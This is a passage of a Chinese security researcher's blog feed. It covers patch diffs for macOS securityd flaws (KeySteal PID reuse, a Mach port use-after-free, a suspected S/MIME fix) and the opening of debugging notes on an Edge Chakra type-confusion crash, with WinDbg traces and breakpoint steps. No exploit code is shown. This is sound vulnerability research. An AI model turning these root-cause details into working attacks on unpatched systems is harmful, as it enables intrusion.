"could not get code for process %d: OSStatus=%d",</span></span><br><span class="line"><span class="deletion">- pid, int32_t(rc));</span></span><br><span class="line"><span class="addition">+</span></span><br><span class="line"><span class="addition">+ audit_token_t const token = audit.auditToken();</span></span><br><span class="line"><span class="addition">+ OSStatus rc = SecCodeCreateWithAuditToken(&token, kSecCSDefaultFlags, &mClientProcess.aref());</span></span><br><span class="line"><span class="addition">+</span></span><br><span class="line"><span class="addition">+ if (rc) {</span></span><br><span class="line"><span class="addition">+ secerror("could not get code for process %d: OSStatus=%d",</span></span><br><span class="line"><span class="addition">+ audit.pid(), int32_t(rc));</span></span><br><span class="line"><span class="addition">+ }</span></span><br><span class="line"> mGuests.erase(mGuests.begin(), mGuests.end());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">--- a/Security-58286.240.4/securityd/src/csproxy.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.251.4/securityd/src/csproxy.cpp</span></span><br><span class="line"><span class="meta">@@ -64,13 +64,12 @@</span> void CodeSigningHost::reset()</span><br><span class="line"> case noHosting:</span><br><span class="line"> break; // nothing to do</span><br><span class="line"> case dynamicHosting:</span><br><span class="line"><span class="deletion">- mHostingPort.destroy();</span></span><br><span class="line"><span class="deletion">- mHostingPort = MACH_PORT_NULL;</span></span><br><span class="line"><span class="addition">+ mHostingPort.deallocate();</span></span><br><span class="line"> secnotice("SecServer", "%d host unregister", mHostingPort.port());</span><br><span class="line"> break;</span><br><span class="line"> case proxyHosting:</span><br><span class="line"> Server::active().remove(*this); // unhook service handler</span><br><span class="line"><span class="deletion">- mHostingPort.destroy(); // destroy receive right</span></span><br><span class="line"><span class="addition">+ mHostingPort.modRefs(MACH_PORT_RIGHT_RECEIVE, -1);</span></span><br><span class="line"> mHostingState = noHosting;</span><br><span class="line"> mHostingPort = MACH_PORT_NULL;</span><br><span class="line"> mGuests.erase(mGuests.begin(), mGuests.end());</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">--- a/Security-58286.240.4/securityd/src/process.cpp</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.251.4/securityd/src/process.cpp</span></span><br><span class="line"><span class="meta">@@ -40,7 +40,7 @@</span></span><br><span class="line"> // Construct a Process object.</span><br><span class="line"> //</span><br><span class="line"> Process::Process(TaskPort taskPort, const ClientSetupInfo *info, const CommonCriteria::AuditToken &audit)</span><br><span class="line"><span class="deletion">- : mTaskPort(taskPort), mByteFlipped(false), mPid(audit.pid()), mUid(audit.euid()), mGid(audit.egid())</span></span><br><span class="line"><span class="addition">+ : mTaskPort(taskPort), mByteFlipped(false), mPid(audit.pid()), mUid(audit.euid()), mGid(audit.egid()), mAudit(audit)</span></span><br><span class="line"> {</span><br><span class="line"> StLock<Mutex> _(*this);</span><br><span class="line"></span><br><span class="line"><span class="meta">@@ -48,6 +48,11 @@</span> Process::Process(TaskPort taskPort, const ClientSetupInfo *info, const CommonCri</span><br><span class="line"> parent(Session::find(audit.sessionId(), true));</span><br><span class="line"></span><br><span class="line"> // let's take a look at our wannabe client...</span><br><span class="line"><span class="addition">+</span></span><br><span class="line"><span class="addition">+ // Not enough to make sure we will get the right process, as</span></span><br><span class="line"><span class="addition">+ // pids get recycled. But we will later create the actual SecCode using</span></span><br><span class="line"><span class="addition">+ // the audit token, which is unique to the one instance of the process,</span></span><br><span class="line"><span class="addition">+ // so this just catches a pid mismatch early.</span></span><br><span class="line"> if (mTaskPort.pid() != mPid) {</span><br><span class="line"> secnotice("SecServer", "Task/pid setup mismatch pid=%d task=%d(%d)",</span><br><span class="line"> mPid, mTaskPort.port(), mTaskPort.pid());</span><br><span class="line"><span class="meta">@@ -55,7 +60,14 @@</span> Process::Process(TaskPort taskPort, const ClientSetupInfo *info, const CommonCri</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> setup(info);</span><br><span class="line"><span class="deletion">- ClientIdentification::setup(this->pid());</span></span><br><span class="line"><span class="addition">+ ClientIdentification::setup(this->audit_token());</span></span><br></pre></td></tr></table></figure><p>这个漏洞正是之前读过 Paper 的 KeySteal 漏洞,补丁代码位于 securityd(Security Server Daemon) ,securityd 在通过 MIG 实现 Hosting Guest Code 机制时存在问题。</p><p>从补丁中可以看出漏洞存在的两个问题:</p><p>第一个是实现 Hosting Guest Code 机制,securityd 在创建 SecCode 时,错误地使用 SecCodeCreateWithPID 这个 API,这个 API 根据 pid 标识 Client Process,因此如补丁中的注释代码所说,存在 PID Reuse 的问题。</p><p>修复的方式是 SecCodeCreateWithPID 换做 SecCodeCreateWithAuditToken 用 audit token 表示 client。关于 PID 方式有何问题,可以参考之前 Samuel Groß 的 <a href="https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf">《Don’t Trust the PID!》</a></p><p>第二个是 Mach Port 的引用计数问题,CodeSigningHost::reset() 调用 destory() 导致强制释放 Mach Port,被 destory 的 Mach Port 可能仍然被某些数据结构引用,同时因为用户态进程的 Mach Port 本身是 mach port name,其实就是个 number,既然是 number 就存在被 reuse 的可能。所以,在下次使用之前如果可以导致重新被占用,就可以实现 UAF。补丁修复也很容易,就是 destory 改为引用计数版本的 deallocate()。</p><h3 id="CVE-2018-4400(10-14-1-版本修复)"><a href="#CVE-2018-4400(10-14-1-版本修复)" class="headerlink" title="CVE-2018-4400(10.14.1 版本修复)"></a>CVE-2018-4400(10.14.1 版本修复)</h3><p>这个漏洞 Apple 公告中的描述是处理 S/MIME 消息时拒绝服务,对比代码,得到的了疑似补丁,不敢完全确定</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--- a/Security-58286.200.222/OSX/libsecurity_smime/lib/smimeutil.c</span></span><br><span class="line"><span class="comment">+++ b/Security-58286.220.15/OSX/libsecurity_smime/lib/smimeutil.c</span></span><br><span class="line"><span class="meta">@@ -733,6 +733,8 @@</span> SecSMIMEGetCertFromEncryptionKeyPreference(SecKeychainRef keychainOrArray, CSSM_</span><br><span class="line"> cert = CERT_FindCertByIssuerAndSN(keychainOrArray, rawCerts, NULL, tmppoolp, ekp.id.issuerAndSN);</span><br><span class="line"> break;</span><br><span class="line"> case NSSSMIMEEncryptionKeyPref_RKeyID:</span><br><span class="line"><span class="addition">+ cert = CERT_FindCertBySubjectKeyID(keychainOrArray, rawCerts, NULL, &ekp.id.recipientKeyID->subjectKeyIdentifier);</span></span><br><span class="line"><span class="addition">+ break;</span></span><br><span class="line"> case NSSSMIMEEncryptionKeyPref_SubjectKeyID:</span><br><span class="line"> cert = CERT_FindCertBySubjectKeyID(keychainOrArray, rawCerts, NULL, ekp.id.subjectKeyID);</span><br><span class="line"> break;</span><br></pre></td></tr></table></figure><p>对证书管理及相关的数据结构暂时还不太熟悉,暂时不进一步分析了</p><p>上面这些是目前我找到的比较确定的一些漏洞及其补丁,因为 Apple 开源代码非常滞后,所以上面这些主要是 10.14.* 版本中涉及 Security Framework 的漏洞的分析。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>以上就是我这段时间研究 Security Framework 并做的分享。因为 Security Framework 比较庞大,我只重点介绍了 Keychain 以及历史上被发现漏洞比较多的 Security Server 组件。其他像 Auth 组件来得及分析,等后续对这些组件有了新的研究,我将继续分享。</p><p>如果发现上面的内容有错误,或者您也对 macOS 感兴趣,欢迎联系我 <a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>。</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><p>[1] Documentation of Security Framework</p><p><a href="https://developer.apple.com/documentation/security?language=objc">https://developer.apple.com/documentation/security?language=objc</a></p><p>[2] Apple Open Source Code</p><p><a href="https://opensource.apple.com/">https://opensource.apple.com/</a></p><p>[3] KeySteal Vulnerability</p><p><a href="https://www.pinauten.de/resources/KeySteal_OBTS_2019.pdf">https://www.pinauten.de/resources/KeySteal_OBTS_2019.pdf</a></p><p>[4] Keychain Wikipedia</p><p><a href="https://en.wikipedia.org/wiki/Keychain_(software)">https://en.wikipedia.org/wiki/Keychain_(software)</a></p>]]></content>
<summary type="html"><p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>) of Tencent Security Xuanwu Lab</p>
<h2 id="摘要"><a href="#摘要" class="headerlink" title="摘要"></a>摘要</h2><p>新冠病毒疫情出不了门,在家办公这两周笔者研究了一下 macOS 的 Security Framework。</p>
<p>本文主要分析 Security Framework 尤其是其中 Keychain 的架构,将 Security Framework 近一两年的历史漏洞做个整理。</p>
<h2 id="Security-Framework-简介"><a href="#Security-Framework-简介" class="headerlink" title="Security Framework 简介"></a>Security Framework 简介</h2><p>Security Framework 主要负责为 App 提供认证与授权、安全数据存储与传输(Keychain,App Transport Security)、代码签名、加密解密功能。</p>
<p>第三方 App 通过引用 Security Framework,使用 Apple 提供的 API 就可以直接使用这些功能,不用关心底层实现的细节。</p>
<img src="/2020/02/26/macOS-Security-Framework-and-Previous-CVEs-CN/security-framework.png" class="" title="Image">
<p>但 Security Framework 都有哪些组件,又是如何构建起来的呢?</p></summary>
<category term="macOS" scheme="https://rekken.github.io/tags/macOS/"/>
</entry>
<entry>
<title>Microsoft Edge Chakra OP_NewScObjArray 类型混淆漏洞分析笔记</title>
<link href="https://rekken.github.io/2019/03/31/Analysis-of-Microsoft-Edge-Chakra-OP-NewScObjArray-Type-Confusion-Vulnerability/"/>
<id>https://rekken.github.io/2019/03/31/Analysis-of-Microsoft-Edge-Chakra-OP-NewScObjArray-Type-Confusion-Vulnerability/</id>
<published>2019-03-31T09:06:11.000Z</published>
<updated>2020-12-25T06:27:35.000Z</updated>
<content type="html"><![CDATA[<p>Yuebin Sun(<a href="https://twitter.com/yuebinsun2020">@yuebinsun2020</a>)</p><h2 id="1-环境信息"><a href="#1-环境信息" class="headerlink" title="1 环境信息"></a>1 环境信息</h2><ul><li>Windows 10 X64 14393 (1607) - 没有安装过任何补丁</li><li>Microsoft Edge 38.14393.0.0</li><li>Microsoft EdgeHTML 14.14393</li></ul><h2 id="2-Crash-Point"><a href="#2-Crash-Point" class="headerlink" title="2 Crash Point"></a>2 Crash Point</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">(1648.f78): Access violation - code c0000005 (first chance)</span><br><span class="line">First chance exceptions are reported before any exception handling.</span><br><span class="line">This exception may be expected and handled.</span><br><span class="line">chakra!Js::DynamicProfileInfo::RecordCallSiteInfo+0x75:</span><br><span class="line">00007ff9`dc43d0c5 66418500 test word ptr [r8],ax ds:000001e5`b6a4f048=????</span><br><span class="line">0:010> kb</span><br><span class="line"> # RetAddr : Args to Child : Call Site</span><br><span class="line">00 00007ff9`dc23d3ea : 000001e5`b6950020 000001e5`d56f01a0 00000000`0000fefa 00007ff9`dc9583c8 : chakra!Js::DynamicProfileInfo::RecordCallSiteInfo+0x75</span><br><span class="line">01 00007ff9`dc23def7 : 000001e5`b8ff97c0 0000004a`3a3fb100 000001e5`d0f407e0 00007ff9`dc37fefa : chakra!Js::ProfilingHelpers::ProfiledNewScObjArray+0x9e</span><br><span class="line">02 00007ff9`dc38d74a : 0000004a`3a3fb410 000001e5`d6f3dc64 000001e5`b7bfa760 00007ff9`dc374943 : chakra!Js::InterpreterStackFrame::OP_NewScObjArray_Impl<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> >,0>+0x8f</span><br><span class="line">03 00007ff9`dc374cdd : 0000004a`3a3fb1e8 000001e5`d6f3dc63 000001e5`d6f3dc5f 00000000`00000000 : chakra!Js::JavascriptRegExpConstructor::GetPropertyBuiltIns+0xd22</span><br><span class="line">04 00007ff9`dc374b07 : 0000004a`3a3fb410 00000000`00000000 00000000`00000001 00000000`00000000 : chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0xbd</span><br><span class="line">05 00007ff9`dc3736c9 : 0000004a`3a3fb410 0000004a`3a3fb410 0000004a`3a3fb410 00000000`00000001 : chakra!Js::InterpreterStackFrame::Process+0x1a7</span><br><span class="line">06 00007ff9`dc375a04 : 0000004a`3a3fb410 000001e5`d6f3dc47 000001e5`d6f3dc47 00000000`00000000 : chakra!Js::InterpreterStackFrame::OP_TryCatch+0x61</span><br><span class="line">07 00007ff9`dc374b07 : 0000004a`3a3fb410 00000000`00000000 00000000`00000000 00000000`00000000 : chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0xde4</span><br><span class="line">08 00007ff9`dc378b5e : 0000004a`3a3fb410 000001e5`d56f01a0 0000004a`3a3fbd80 00007ff9`e46a3f00 : chakra!Js::InterpreterStackFrame::Process+0x1a7</span><br><span class="line">09 00007ff9`dc37a265 : 000001e5`d0f407e0 0000004a`3a3fbf50 000001e5`b65b0fba 0000004a`3a3fbf68 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e</span><br><span class="line">0a 000001e5`b65b0fba : 0000004a`3a3fbfa0 00000000`00000001 0000004a`3a3fc378 00007ff9`dc4a0fe0 : chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55</span><br><span class="line">0b 00007ff9`dc4a1393 : 000001e5`d0f407e0 00000000`10000001 000001e5`ce93ff90 00000000`00000001 : 0x000001e5`b65b0fba</span><br><span class="line">0c 00007ff9`dc36ef6d : 000001dd`a72844f0 00000000`00000008 000001e5`d0300110 0000004a`3a3fc001 : chakra!amd64_CallFunction+0x93</span><br><span class="line">0d 00007ff9`dc372797 : 0000004a`3a3fc230 000001e5`d5874036 000001e5`d0f407e0 000001e5`00000001 : chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x15d</span><br><span class="line">0e 00007ff9`dc376842 : 0000004a`3a3fc230 000001e5`d5874036 000001e5`00000119 00000000`00000000 : chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >+0xa7</span><br><span class="line">0f 00007ff9`dc374aa2 : 0000004a`3a3fc230 00000000`00000000 00000000`00000000 00000000`00000000 : chakra!Js::InterpreterStackFrame::ProcessProfiled+0x132</span><br><span class="line">10 00007ff9`dc378b5e : 0000004a`3a3fc230 000001e5`d56f0000 0000004a`3a3fc390 ffffffff`ffffff01 : chakra!Js::InterpreterStackFrame::Process+0x142</span><br><span class="line">11 00007ff9`dc37a265 : 000001e5`d0f40900 0000004a`3a3fc560 000001e5`b65b0fc2 0000004a`3a3fc578 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e</span><br><span class="line">12 000001e5`b65b0fc2 : 0000004a`3a3fc5b0 00000000`00000000 00000000`00000000 00007ff9`dc4a0fe0 : chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55</span><br><span class="line">13 00007ff9`dc4a1393 : 000001e5`d0f40900 00000000`00000000 00000000`00000000 00000000`00000000 : 0x000001e5`b65b0fc2</span><br><span class="line">14 00007ff9`dc36d873 : 000001dd`a72844f0 00000000`00000000 000001e5`d0316f00 00007ff9`dc3d2f87 : chakra!amd64_CallFunction+0x93</span><br><span class="line">15 00007ff9`dc3dc2ec : 000001e5`d0f40900 00007ff9`dc4a15a0 0000004a`3a3fc6c0 000001e5`d030e6d0 : chakra!Js::JavascriptFunction::CallFunction<1>+0x83</span><br><span class="line">16 00007ff9`dc3db8b6 : 000001e5`d0f40900 0000004a`3a3fc7a0 000001e5`d030e6d0 0000004a`3a3fc700 : chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104</span><br><span class="line">17 00007ff9`dc486259 : 000001e5`d0f40900 0000004a`3a3fc840 000001e5`d030e6d0 00000000`00000000 : chakra!Js::JavascriptFunction::CallRootFunction+0x4a</span><br><span class="line">18 00007ff9`dc3e1d41 : 000001e5`d0f40900 0000004a`3a3fc8a0 00000000`00000000 0000004a`3a3fc880 : chakra!ScriptSite::CallRootFunction+0xb5</span><br><span class="line">19 00007ff9`dc392a1d : 000001e5`d030cf00 000001e5`d0f40900 0000004a`3a3fc950 00000000`00000000 : chakra!ScriptSite::Execute+0x131</span><br><span class="line">...</span><br></pre></td></tr></table></figure><span id="more"></span><h2 id="3-找到存在该漏洞的-Chakracore-版本源码进行源码调试"><a href="#3-找到存在该漏洞的-Chakracore-版本源码进行源码调试" class="headerlink" title="3 找到存在该漏洞的 Chakracore 版本源码进行源码调试"></a>3 找到存在该漏洞的 Chakracore 版本源码进行源码调试</h2><p>既然当前 Windows 版本(1607)可以触发崩溃,那我们就下载该版本对应的 ChakraCore 源码。</p><p>Windows 10 1607 的发布时间是 2016/08/02,我们从 GitHub ChakraCore 的 <a href="https://github.com/Microsoft/ChakraCore/wiki/Roadmap">Roadmap</a> 上找一个大概 8 月份的源码版本:<br><a href="https://github.com/Microsoft/ChakraCore/releases/tag/v1.2.0.0">https://github.com/Microsoft/ChakraCore/releases/tag/v1.2.0.0</a></p><p>下载其中的 ChakraCore-binaries.zip 二进制文件和 Source code(zip) 源码。</p><p>下载后用 ChakraCore-binaries 中的 x64\ch.exe 直接运行 poc.js(去掉其中的 alert 等非 JS 引擎内置函数),测试效果,可以看到 ch.exe 也崩溃了,而且错误代码也是 0xc000005,这也说明:</p><ul><li>漏洞在该 Chakracore 版本上确实存在。</li><li>漏洞的触发只与 ChakraCore JavaScript 引擎有关。</li></ul><p>所以我们完全可以不调试浏览器而只调试 ch.exe 来研究该漏洞,只调试 ch.exe 相对容易而且可以下载并编译源码调试。</p><h2 id="4-调试分析"><a href="#4-调试分析" class="headerlink" title="4 调试分析"></a>4 调试分析</h2><p>从崩溃点的调用栈 OP_NewScObjArray_Impl 函数可以判断,崩溃发生在 OP_NewScObjArray OpCode 的处理过程中。所以很自然地就想到要为 OP_NewScObjArray 处理过程下断点跟踪调试。</p><h3 id="4-1-应该在哪里设置断点"><a href="#4-1-应该在哪里设置断点" class="headerlink" title="4.1 应该在哪里设置断点"></a>4.1 应该在哪里设置断点</h3><p>Interpreter 模式执行时, Js::InterpreterStackFrame::INTERPRETERLOOPNAME() 内部,OpCode 被 Interpreter 逐一 Read 然后解释执行。</p><p>所以如果想为某个特定的 OpCode 下断点,可以先在 Js::InterpreterStackFrame::INTERPRETERLOOPNAME() 内部下断点</p><h3 id="4-2-为-NewScObjArray-的-OpCode-设置断点"><a href="#4-2-为-NewScObjArray-的-OpCode-设置断点" class="headerlink" title="4.2 为 NewScObjArray 的 OpCode 设置断点"></a>4.2 为 NewScObjArray 的 OpCode 设置断点</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">0:000> bp ch!runscript</span><br><span class="line">0:000> g</span><br><span class="line">Breakpoint 0 hit</span><br><span class="line">CH!RunScript:</span><br><span class="line">00007ff7`890c5e90 4c894c2420 mov qword ptr [rsp+20h],r9 ss:000000f1`528ff658=000000f1528ff6c8</span><br><span class="line">0:004> bp chakracore!Js::InterpreterStackFrame::ProcessUnprofiled</span><br></pre></td></tr></table></figure><p>断点命中到 lib\runtime\language\interpreterloop.inl 的 Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME() </p><p>单步执行,进入 Interpreter While 循环中的 OpCode Read 的过程</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">INTERPRETER_OPCODE op = <span class="built_in">ReadByteOp</span><INTERPRETER_OPCODE>(ip);</span><br></pre></td></tr></table></figure><p>ReadByOp 的函数实现如下:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">template</span><></span><br><span class="line"> OpCode InterpreterStackFrame::<span class="built_in">ReadByteOp</span><OpCode>(<span class="type">const</span> byte *& ip</span><br><span class="line"><span class="meta">#<span class="keyword">if</span> DBG_DUMP</span></span><br><span class="line"> , <span class="type">bool</span> isExtended <span class="comment">/*= false*/</span></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> )</span><br><span class="line"> {</span><br><span class="line"><span class="meta">#<span class="keyword">if</span> DBG || DBG_DUMP</span></span><br><span class="line"> <span class="comment">//</span></span><br><span class="line"> <span class="comment">// For debugging byte-code, store the current offset before the instruction is read:</span></span><br><span class="line"> <span class="comment">// - We convert this to "void *" to encourage the debugger to always display in hex,</span></span><br><span class="line"> <span class="comment">// which matches the displayed offsets used by ByteCodeDumper.</span></span><br><span class="line"> <span class="comment">//</span></span><br><span class="line"> <span class="keyword">this</span>->DEBUG_currentByteOffset = (<span class="type">void</span> *) m_reader.<span class="built_in">GetCurrentOffset</span>();</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> OpCode op = ByteCodeReader::<span class="built_in">ReadByteOp</span>(ip);</span><br><span class="line"><span class="meta">#<span class="keyword">if</span> DBG_DUMP</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>->scriptContext->byteCodeHistogram[(<span class="type">int</span>)op]++;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">PHASE_TRACE</span>(Js::InterpreterPhase, <span class="keyword">this</span>->m_functionBody))</span><br><span class="line"> {</span><br><span class="line"> Output::<span class="built_in">Print</span>(_u(<span class="string">"%d.%d:Executing %s at offset 0x%X\n"</span>), <span class="keyword">this</span>->m_functionBody-><span class="built_in">GetSourceContextId</span>(), <span class="keyword">this</span>->m_functionBody-><span class="built_in">GetLocalFunctionId</span>(), Js::OpCodeUtil::<span class="built_in">GetOpCodeName</span>((Js::OpCode)(op+((<span class="type">int</span>)isExtended<<<span class="number">8</span>))), DEBUG_currentByteOffset);</span><br><span class="line"> }</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> <span class="keyword">return</span> op;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>单步执行到 this->scriptContext->byteCodeHistogram[(int)op]++; 当前 c 代码对应的汇编代码为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0:004> p</span><br><span class="line">// 这一条指令对应 "this->scriptContext->byteCodeHistogram[(int)op]++;",此时刚好可以看到 op 的值</span><br><span class="line">chakracore!Js::InterpreterStackFrame::ReadByteOp<enum Js::OpCode>+0x3d:</span><br><span class="line">00007ffa`77f7e92d 0fb7442430 movzx eax,word ptr [rsp+30h] ss:000000fe`71dfd0a0=006b</span><br></pre></td></tr></table></figure><p>此时 op 已经被赋值为将要处理的 OpCode 值,为此行代码设置条件断点,拦截 NewScObjArray OpCode</p><p>注意:</p><p>条件断点中使用寄存器而不是本地变量的方式,原因是实测条件断点中使用本地变量 op 下断点不能触发。</p><p>由于本条指令执行时,ax 寄存器刚好存储的就是 OpCode 值,所以改为借助 ax 寄存器下断</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">0:004> bp . ".if ( @ax == 0n197){} .else {gc}"</span><br><span class="line"></span><br><span class="line">// 为避免无关的 ProcessUnprofiled 断点频繁命中,临时禁用 ProcessUnprofiled 断点</span><br><span class="line">0:004> bl</span><br><span class="line"> 0 e Disable Clear 00007ff7`890c5e90 [K:\edge\op_newscobjarray_type_confusion\chakracore-1.2.0.0\bin\ch\ch.cpp @ 278] 0001 (0001) 0:**** CH!RunScript</span><br><span class="line"> 1 e Disable Clear 00007ffb`b8367e30 [K:\edge\op_newscobjarray_type_confusion\chakracore-1.2.0.0\lib\runtime\language\interpreterloop.inl @ 37] 0001 (0001) 0:**** chakracore!Js::InterpreterStackFrame::ProcessUnprofiled</span><br><span class="line"> 2 e Disable Clear 00007ffb`b82be92d [K:\edge\op_newscobjarray_type_confusion\chakracore-1.2.0.0\lib\runtime\language\interpreterstackframe.cpp @ 2285] 0001 (0001) 0:**** chakracore!Js::InterpreterStackFrame::ReadByteOp<enum Js::OpCode>+0x3d ".if ( @ax == 0n197){} .else {gc}"</span><br><span class="line">0:004> bd 1</span><br><span class="line"></span><br><span class="line">// 此时断下的正是 NewScObjArray OpCode(0xc5)</span><br><span class="line">0:004> g</span><br><span class="line">(338c.360c): C++ EH exception - code e06d7363 (first chance)</span><br><span class="line">(338c.360c): C++ EH exception - code e06d7363 (first chance)</span><br><span class="line">(338c.360c): C++ EH exception - code e06d7363 (first chance)</span><br><span class="line">(338c.360c): C++ EH exception - code e06d7363 (first chance)</span><br><span class="line">chakracore!Js::InterpreterStackFrame::ReadByteOp<enum Js::OpCode>+0x3d:</span><br><span class="line">00007ffb`b82be92d 0fb7442430 movzx eax,word ptr [rsp+30h] ss:000000f1`528fd1b0=00c5</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="4-3-NewScObjArray-OpCode-的处理及漏洞触发过程"><a href="#4-3-NewScObjArray-OpCode-的处理及漏洞触发过程" class="headerlink" title="4.3 NewScObjArray OpCode 的处理及漏洞触发过程"></a>4.3 NewScObjArray OpCode 的处理及漏洞触发过程</h3><p>OpCode 各个分支代码都是通过宏生成的,需要一步步展开来看。</p><p>Js::InterpreterStackFrame::ReadByteOp<enum Js::OpCode> 返回之后,回到 lib\runtime\language\interpreterloop.inl (如注释代码位置所示)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">case</span> INTERPRETER_OPCODE::MediumLayoutPrefix:</span><br><span class="line"> {</span><br><span class="line"> Var yieldValue = nullptr;</span><br><span class="line"> ip = [this, &yieldValue](<span class="type">const</span> byte * ip) -> <span class="type">const</span> byte *</span><br><span class="line"> {</span><br><span class="line"> INTERPRETER_OPCODE op = ReadByteOp<INTERPRETER_OPCODE>(ip);</span><br><span class="line"> <span class="keyword">switch</span> (op) <span class="comment">// NewScObjArray 被 ReadByteOp 读取之后回到这里 </span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> INTERPRETER_OPCODE::Yield:</span><br><span class="line"> m_reader.Reg2_Medium(ip);</span><br><span class="line"> yieldValue = GetReg(GetFunctionBody()->GetYieldRegister());</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> DEF2_WMS(x, op, func) PROCESS_##x##_COMMON(op, func, _Medium)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> DEF3_WMS(x, op, func, y) PROCESS_##x##_COMMON(op, func, y, _Medium)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> DEF4_WMS(x, op, func, y, t) PROCESS_##x##_COMMON(op, func, y, _Medium, t)</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">"InterpreterHandler.inl"</span></span></span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="comment">// Help the C++ optimizer by declaring that the cases we</span></span><br><span class="line"> <span class="comment">// have above are sufficient</span></span><br><span class="line"> AssertMsg(<span class="literal">false</span>, <span class="string">"dispatch to bad opcode"</span>);</span><br><span class="line"> __assume(<span class="literal">false</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> 